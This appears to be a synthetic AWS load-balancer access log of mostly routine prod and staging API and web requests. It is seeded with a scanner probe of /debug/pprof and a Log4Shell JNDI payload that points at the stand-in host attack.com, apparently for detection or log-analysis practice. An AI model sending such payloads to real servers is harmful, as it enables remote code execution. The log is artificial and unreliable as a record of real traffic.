Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf31-0e2b128149de4cb8bd2f6dc4" "staging-alb.example.com" "-" 1 2024-11-01T01:40:49.092084Z "forward" "-" "-" "104.197.208.77:8080" "200" "-" "-" -https 2024-11-01T01:40:49.912550Z prod-api-alb 155.27.221.210:48646 10.0.100.69:443 0.029397 0.394229 0.086945 200 200 175 4741 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf31-f8e5ac627332441b8aee1890" "prod-api-alb.example.com" "-" 5 2024-11-01T01:40:49.912550Z "forward" "-" "-" "10.0.100.69:443" "200" "-" "-" -https 2024-11-01T01:40:50.786214Z prod-api-alb 103.194.104.151:34906 10.0.111.121:443 0.035425 0.357313 0.073160 200 200 879 1069 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf32-1d105c8d81954edc92a308a6" "prod-api-alb.example.com" "-" 6 2024-11-01T01:40:50.786214Z "forward" "-" "-" "10.0.111.121:443" "200" "-" "-" -https 2024-11-01T01:40:52.694042Z staging-alb 32.64.25.156:62534 225.0.104.25:443 0.097360 0.551121 0.120459 200 200 391 6520 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf34-04c7e649f21c46c1b2b7b434" "staging-alb.example.com" "-" 2 2024-11-01T01:40:52.694042Z "forward" "-" "-" "225.0.104.25:443" "200" "-" "-" -https 2024-11-01T01:40:53.379633Z prod-api-alb 45.139.179.209:42122 10.0.171.97:443 0.071567 0.396706 0.059326 200 200 558 9955 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf35-7435e44104c84806b0289f9d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:53.379633Z "forward" "-" "-" "10.0.171.97:443" "200" "-" "-" -https 2024-11-01T01:40:55.311219Z staging-alb 215.47.175.168:41017 42.171.136.212:80 0.111899 0.399736 0.062783 302 302 525 13118 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf37-fe411e2c1f0b47d4ac4a348d" "staging-alb.example.com" "-" 2 2024-11-01T01:40:55.311219Z "forward" "-" "-" "42.171.136.212:80" "302" "-" "-" -https 2024-11-01T01:40:57.239743Z staging-alb 112.188.79.42:29466 78.85.20.232:8080 0.113715 0.064229 0.148451 301 301 457 8860 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf39-95c09d5a71ff4e5bb430922d" "staging-alb.example.com" "-" 2 2024-11-01T01:40:57.239743Z "forward" "-" "-" "78.85.20.232:8080" "301" "-" "-" -https 2024-11-01T01:40:57.893171Z prod-api-alb 217.144.119.147:54169 10.0.208.178:443 0.063483 0.391266 0.022604 302 302 508 11258 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf39-563e7924d05b49e1b785bc9e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:57.893171Z "forward" "-" "-" "10.0.208.178:443" "302" "-" "-" -https 2024-11-01T01:40:59.696660Z prod-api-alb 90.220.200.27:53306 10.0.184.74:443 0.091903 0.268299 0.091426 404 404 957 8378 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf3b-27b2436071934adc9feb6e51" "prod-api-alb.example.com" "-" 6 2024-11-01T01:40:59.696660Z "forward" "-" "-" "10.0.184.74:443" "404" "-" "-" -http 2024-11-01T01:41:01.354267Z staging-alb 194.94.206.143:64604 247.141.73.32:8080 0.138844 0.362909 0.045299 404 404 914 14755 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf3d-1f599f81cfde473e827bd6ff" "staging-alb.example.com" "-" 8 2024-11-01T01:41:01.354267Z "forward" "-" "-" "247.141.73.32:8080" "404" "-" "-" -https 2024-11-01T01:41:02.329384Z prod-web-alb 103.166.46.235:41930 10.0.193.146:443 0.013277 0.104449 0.006806 200 200 3 14315 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf3e-525d7ecd2cfd4ee1bfe58b4f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:41:02.329384Z "forward" "-" "-" "10.0.193.146:443" "200" "-" "-" -https 2024-11-01T01:41:03.914842Z prod-api-alb 109.200.146.245:22696 10.0.135.131:443 0.015521 0.056283 0.028320 200 200 251 3055 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf3f-ef54943085124b9f9980d45b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:41:03.914842Z "forward" "-" "-" "10.0.135.131:443" "200" "-" "-" -https 2024-11-01T01:41:05.174967Z prod-api-alb 214.83.190.138:19080 10.0.81.185:443 0.022765 0.447706 0.009233 302 302 972 13175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf41-c30a16ca1afd4e18b4f91f66" "-" "-" 9 2024-11-01T01:41:05.174967Z "forward" "-" "-" "10.0.81.185:443" "302" "-" "-" -https 2024-11-01T01:41:06.549969Z prod-web-alb 103.205.97.200:61480 10.0.123.2:443 0.088390 0.030318 0.015790 301 301 671 8376 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf42-382acff9cb384088988ff9ea" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:06.549969Z "forward" "-" "-" "10.0.123.2:443" "301" "-" "-" -http 2024-11-01T01:41:06.918522Z staging-alb 25.28.107.235:17390 18.112.196.149:443 0.134651 0.506815 0.008928 404 404 312 11003 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf42-c8ac8628eb2241e4ab1e57d2" "staging-alb.example.com" "-" 7 2024-11-01T01:41:06.918522Z "forward" "-" "-" "18.112.196.149:443" "404" "-" "-" -https 2024-11-01T01:41:07.250138Z prod-api-alb 59.47.4.115:37456 10.0.8.5:443 0.027694 0.315622 0.022215 200 200 272 9465 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf43-14a051a51cf34899b36283e8" "prod-api-alb.example.com" "-" 3 2024-11-01T01:41:07.250138Z "forward" "-" "-" "10.0.8.5:443" "200" "-" "-" -https 2024-11-01T01:41:07.695746Z prod-api-alb 3.24.80.88:23439 10.0.54.224:443 0.029985 0.461787 0.047771 200 200 745 12677 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf43-8f3585bcff3040ac8bbf8835" "prod-api-alb.example.com" "-" 5 2024-11-01T01:41:07.695746Z "forward" "-" "-" "10.0.54.224:443" "200" "-" "-" -https 2024-11-01T01:41:08.317848Z prod-api-alb 51.197.244.73:22277 10.0.212.31:443 0.061194 0.091065 0.043329 302 302 847 11423 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf44-5112e80e32884b66bf02534c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:41:08.317848Z "forward" "-" "-" "10.0.212.31:443" "302" "-" "-" -https 2024-11-01T01:41:08.573834Z prod-api-alb 238.12.32.13:44839 10.0.109.4:443 0.091972 0.291454 0.030898 200 200 367 9796 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf44-f68376419a1447b9bdb32537" "prod-api-alb.example.com" "-" 1 2024-11-01T01:41:08.573834Z "forward" "-" "-" "10.0.109.4:443" "200" "-" "-" -http 2024-11-01T01:41:09.109576Z staging-alb 40.19.218.164:12882 113.189.123.240:80 0.036856 0.692033 0.048675 200 200 927 10581 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf45-88f003fff48040c5bf9aadf8" "staging-alb.example.com" "-" 1 2024-11-01T01:41:09.109576Z "forward" "-" "-" "113.189.123.240:80" "200" "-" "-" -https 2024-11-01T01:41:09.830914Z prod-api-alb 229.159.238.88:41158 10.0.23.67:443 0.009514 0.056522 0.007139 404 404 423 7816 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf45-8a1d562bc48947fb81b684a5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:41:09.830914Z "forward" "-" "-" "10.0.23.67:443" "404" "-" "-" -https 2024-11-01T01:41:11.601319Z prod-web-alb 1.125.203.171:45554 10.0.234.211:443 0.060873 0.445156 0.010064 200 200 638 347 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf47-3266ea82a49e4f4a8f9b54e0" "prod-web-alb.example.com" "-" 7 2024-11-01T01:41:11.601319Z "forward" "-" "-" "10.0.234.211:443" "200" "-" "-" -https 2024-11-01T01:41:13.247492Z staging-alb 88.161.183.5:45117 12.143.133.151:8080 0.113917 0.419870 0.099954 302 302 352 4595 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf49-a5e7e32d23004e1fb7af19cd" "staging-alb.example.com" "-" 9 2024-11-01T01:41:13.247492Z "forward" "-" "-" "12.143.133.151:8080" "302" "-" "-" -https 2024-11-01T01:41:13.888876Z prod-web-alb 31.4.231.209:30386 10.0.76.66:443 0.080441 0.045838 0.073506 200 200 695 10955 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf49-965f932c3f2d46feb61f48bb" "prod-web-alb.example.com" "-" 1 2024-11-01T01:41:13.888876Z "forward" "-" "-" "10.0.76.66:443" "200" "-" "-" -https 2024-11-01T01:41:14.502622Z staging-alb 185.156.196.171:14665 187.93.155.68:443 0.058908 0.688068 0.123895 200 200 131 8803 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf4a-3286c0b18ac74e2ca230e53e" "staging-alb.example.com" "-" 9 2024-11-01T01:41:14.502622Z "forward" "-" "-" "187.93.155.68:443" "200" "-" "-" -http 2024-11-01T01:41:15.284631Z staging-alb 111.145.163.110:64004 13.28.94.181:80 0.008903 0.707329 0.029881 302 302 837 7027 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf4b-198d7c7ff3b84652b8b86d90" "-" "-" 6 2024-11-01T01:41:15.284631Z "forward" "-" "-" "13.28.94.181:80" "302" "-" "-" -http 2024-11-01T01:41:16.237638Z staging-alb 68.236.198.59:45170 44.139.244.119:8080 0.128159 0.202014 0.021204 200 200 104 3841 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf4c-58734589da434b97b93cbbb9" "staging-alb.example.com" "-" 3 2024-11-01T01:41:16.237638Z "forward" "-" "-" "44.139.244.119:8080" "200" "-" "-" -https 2024-11-01T01:41:16.630815Z staging-alb 223.144.124.153:59222 36.12.123.26:8080 0.009953 0.457881 0.081815 200 200 999 2708 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf4c-ef815472bc264202a1fe23e9" "staging-alb.example.com" "-" 8 2024-11-01T01:41:16.630815Z "forward" "-" "-" "36.12.123.26:8080" "200" "-" "-" -https 2024-11-01T01:41:17.630970Z prod-api-alb 170.183.80.30:22939 10.0.217.191:443 0.053027 0.397387 0.014096 200 200 870 4097 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf4d-bdfe4555292b411c8e0a76bc" "prod-api-alb.example.com" "-" 3 2024-11-01T01:41:17.630970Z "forward" "-" "-" "10.0.217.191:443" "200" "-" "-" -https 2024-11-01T01:41:18.373800Z prod-api-alb 174.2.8.253:53112 10.0.242.244:443 0.099109 0.081928 0.038137 200 200 866 8794 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf4e-577f2b8c810f4ba492044636" "prod-api-alb.example.com" "-" 1 2024-11-01T01:41:18.373800Z "forward" "-" "-" "10.0.242.244:443" "200" "-" "-" -https 2024-11-01T01:41:19.500871Z staging-alb 64.39.228.223:28197 215.96.202.80:8080 0.024383 0.462059 0.092592 404 404 382 8603 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf4f-d39b08d879bd4a7a9155be5d" "staging-alb.example.com" "-" 8 2024-11-01T01:41:19.500871Z "forward" "-" "-" "215.96.202.80:8080" "404" "-" "-" -https 2024-11-01T01:41:19.908603Z prod-web-alb 172.199.6.181:56048 10.0.135.60:443 0.016948 0.175960 0.038558 200 200 951 7986 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf4f-35d126e8da4948f893e685b5" "prod-web-alb.example.com" "-" 5 2024-11-01T01:41:19.908603Z "forward" "-" "-" "10.0.135.60:443" "200" "-" "-" -https 2024-11-01T01:41:20.754675Z prod-api-alb 45.155.205.9:29529 10.0.73.145:443 0.018607 0.382493 0.006390 500 500 849 3344 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf50-53443935c1e94ffc8e371f7c" "-" "-" 6 2024-11-01T01:41:20.754675Z "forward" "-" "-" "10.0.73.145:443" "500" "-" "-" -https 2024-11-01T01:41:22.207131Z prod-web-alb 138.204.16.244:15575 10.0.211.89:443 0.092789 0.417284 0.056453 200 200 412 2784 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf52-e66bdc8e998943a6b8e2ab29" "prod-web-alb.example.com" "-" 0 2024-11-01T01:41:22.207131Z "forward" "-" "-" "10.0.211.89:443" "200" "-" "-" -https 2024-11-01T01:41:23.239780Z prod-web-alb 204.205.201.251:45238 10.0.10.86:443 0.011607 0.440746 0.068945 301 301 774 8155 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf53-11253eeaaa3147d5b7881597" "prod-web-alb.example.com" "-" 3 2024-11-01T01:41:23.239780Z "forward" "-" "-" "10.0.10.86:443" "301" "-" "-" -http 2024-11-01T01:41:24.875797Z staging-alb 205.118.180.58:51996 72.87.155.165:443 0.143037 0.062960 0.066727 404 404 877 11084 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf54-dff086bf1b1d4a4baad30ba1" "staging-alb.example.com" "-" 10 2024-11-01T01:41:24.875797Z "forward" "-" "-" "72.87.155.165:443" "404" "-" "-" -http 2024-11-01T01:41:25.129304Z staging-alb 198.80.70.120:32309 75.142.68.60:8080 0.110990 0.281944 0.034771 200 200 927 6758 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf55-9ff2343c7a0c47bcab7681d9" "staging-alb.example.com" "-" 1 2024-11-01T01:41:25.129304Z "forward" "-" "-" "75.142.68.60:8080" "200" "-" "-" -https 2024-11-01T01:41:26.489195Z prod-api-alb 56.164.167.63:25514 10.0.7.171:443 0.063070 0.370772 0.029370 200 200 562 11758 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf56-7db5951961604220a81bdf48" "prod-api-alb.example.com" "-" 2 2024-11-01T01:41:26.489195Z "forward" "-" "-" "10.0.7.171:443" "200" "-" "-" -http 2024-11-01T01:41:26.794114Z staging-alb 89.231.44.51:52184 221.87.253.112:8080 0.028636 0.244278 0.089630 200 200 547 12609 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf56-9ee6440dc1f74f54898a8cce" "staging-alb.example.com" "-" 7 2024-11-01T01:41:26.794114Z "forward" "-" "-" "221.87.253.112:8080" "200" "-" "-" -https 2024-11-01T01:41:27.621447Z prod-api-alb 185.165.224.21:52806 10.0.238.33:443 0.065657 0.254998 0.018724 301 301 629 6567 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf57-973f50a8edb64591b48a9051" "prod-api-alb.example.com" "-" 0 2024-11-01T01:41:27.621447Z "forward" "-" "-" "10.0.238.33:443" "301" "-" "-" -https 2024-11-01T01:41:28.320640Z prod-web-alb 119.68.84.166:13822 10.0.208.77:443 0.027324 0.305702 0.026098 200 200 675 2112 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf58-136b9b3e0fbc4bbea854eda0" "prod-web-alb.example.com" "-" 6 2024-11-01T01:41:28.320640Z "forward" "-" "-" "10.0.208.77:443" "200" "-" "-" -https 2024-11-01T01:41:29.024839Z staging-alb 18.163.45.174:61410 52.100.162.252:80 0.145925 0.552407 0.078720 404 404 557 11027 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf59-31ee0d8a1f96420591a5f689" "staging-alb.example.com" "-" 7 2024-11-01T01:41:29.024839Z "forward" "-" "-" "52.100.162.252:80" "404" "-" "-" -https 2024-11-01T01:41:29.472806Z prod-api-alb 168.72.84.45:28440 10.0.132.61:443 0.082333 0.196464 0.059071 200 200 616 7820 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf59-b55ecde133fd419b9f93036d" "prod-api-alb.example.com" "-" 5 2024-11-01T01:41:29.472806Z "forward" "-" "-" "10.0.132.61:443" "200" "-" "-" -https 2024-11-01T01:41:30.962285Z prod-web-alb 13.179.227.203:44576 10.0.186.232:443 0.044635 0.240798 0.019385 200 200 14 12910 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf5a-31e6a51a95b04632bf5ec77c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:41:30.962285Z "forward" "-" "-" "10.0.186.232:443" "200" "-" "-" -https 2024-11-01T01:41:31.809991Z prod-web-alb 45.155.205.225:26964 10.0.84.147:443 0.088175 0.374061 0.001353 500 500 423 12841 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf5b-5e707ef049394cfaad6db15d" "-" "-" 3 2024-11-01T01:41:31.809991Z "forward" "-" "-" "10.0.84.147:443" "500" "-" "-" -https 2024-11-01T01:41:32.718214Z staging-alb 109.49.105.178:32109 146.101.175.30:8080 0.124131 0.204914 0.042392 200 200 725 11400 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf5c-c5b2e7cad7cb4ce382501650" "staging-alb.example.com" "-" 10 2024-11-01T01:41:32.718214Z "forward" "-" "-" "146.101.175.30:8080" "200" "-" "-" -https 2024-11-01T01:41:34.478648Z staging-alb 50.51.115.171:31943 13.146.139.204:443 0.130126 0.252874 0.032226 200 200 587 10900 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf5e-d6db01f5cf5c4ed6999130a6" "staging-alb.example.com" "-" 10 2024-11-01T01:41:34.478648Z "forward" "-" "-" "13.146.139.204:443" "200" "-" "-" -https 2024-11-01T01:41:36.093504Z prod-api-alb 209.81.41.244:41718 10.0.86.195:443 0.033762 0.268533 0.008658 200 200 479 3529 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf60-1686663e4394496ba9549ec2" "prod-api-alb.example.com" "-" 8 2024-11-01T01:41:36.093504Z "forward" "-" "-" "10.0.86.195:443" "200" "-" "-" -https 2024-11-01T01:41:37.497613Z prod-web-alb 184.211.37.160:10453 10.0.8.225:443 0.077257 0.165793 0.092141 200 200 557 1434 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf61-99220b64aa1645f491fc5f5f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:41:37.497613Z "forward" "-" "-" "10.0.8.225:443" "200" "-" "-" -http 2024-11-01T01:41:37.837877Z staging-alb 222.69.113.24:29344 209.8.211.157:8080 0.035607 0.617959 0.093047 302 302 523 13813 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf61-e8f6e352f07748e49283ffe4" "staging-alb.example.com" "-" 7 2024-11-01T01:41:37.837877Z "forward" "-" "-" "209.8.211.157:8080" "302" "-" "-" -https 